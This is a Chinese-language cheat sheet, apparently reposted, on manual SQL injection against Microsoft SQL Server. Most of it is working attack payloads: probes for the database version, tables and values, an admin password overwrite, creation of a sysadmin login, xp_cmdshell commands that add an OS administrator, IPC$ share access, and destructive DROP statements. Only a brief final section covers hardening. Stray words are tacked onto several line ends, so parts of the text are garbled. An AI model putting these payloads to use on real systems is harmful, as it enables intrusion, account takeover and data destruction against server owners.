手工注mssqlserversql
1.判斷注入點:shell
'數據庫
and 1=1 返回正常安全
and 1=2 返回錯誤ide
2.判斷版本號:nt5.2:win2003 nt6.1:win7工具
winversqlserver
and @@version>0ui
3.判斷當前鏈接的數據庫用戶and user >0操作系統
4.判斷當前鏈接數據庫:3d
and db_name()>0
5.判斷其它庫:修改dbid值 and (select name from master.dbo.sysdatabases where dbid=6)>0
6.判斷表名:and (select top 1 name from sysobjects where xtype='u' and status>0 )>0
7.判斷其它名:
and name not in('t_jiaozhu')
加到第6條語句最後一個括號前:
and (select top 1 name from sysobjects where xtype='u' and status>0 and name not in('t_jiaozhu'))>0
8.判斷列名:
and (select Top 1 col_name(object_id('admin'),1) from sysobjects)>0
9.判斷值:
and (select username from admin)>0
10.修改密碼:
;update article.dbo.admin set password='bbbbbb' where username='admin';--
mssqlserver高級操做
一。數據庫提權:sa==system>administrator
1.新建數據庫用戶:
;exec master..sp_addlogin hyq,888888;--
2.查看數據庫用戶:
程序-mssqlserver--企業管理器--安全性--登陸:刷新
3.提權:hyq用戶加入sysadmin組
;exec master..sp_addsrvrolemember hyq,sysadmin;--
4.獲取sa口令:
sqlmap.py -u "注入點" --passwords
利用漏洞:
數據庫的鏈接工具:navicat for mssql
查詢分析器:
delete from tbname
drop database dbname
drop tablename tbname
二。操做系統提權
1.新建系統用戶:
;exec master..xp_cmdshell 'net user txl1988 888888 /add'
2.提權:
;exec master..xp_cmdshell 'net localgroup administrators txl1988 /add'
漏洞利用:
1.遠程桌面:mstsc
2.ipc空鏈接:
net use \ip\ipc$
輸入用戶名,密碼
net use k: \ip\c$
三。向系統寫文件
;exec xp_cmdshell 'echo aaaa>c:\a.txt'
a.bat
:1
start iexplore.exe
goto 1
四。防禦xp_cmdshell
1.刪除:xplog70.dll
;exec master..sp_dropextendedproc 'xp_cmdshell'
2.恢復:
;exec master..sp_addextendedproc 'xp_cmdshell','xplog70.dll'
sqlserver2005及以上版本
恢復:
exec sp_configure 'show advanced options',1;
reconfigure;
exec sp_configure 'xp_cmdshell',1;
reconfigure
終極防禦:防未公佈漏洞:基於cmdshell反彈
%system%system32\cmd.exe 刪除全部默認權限,添加administrator:徹底控制
本文轉載自:***雲筆記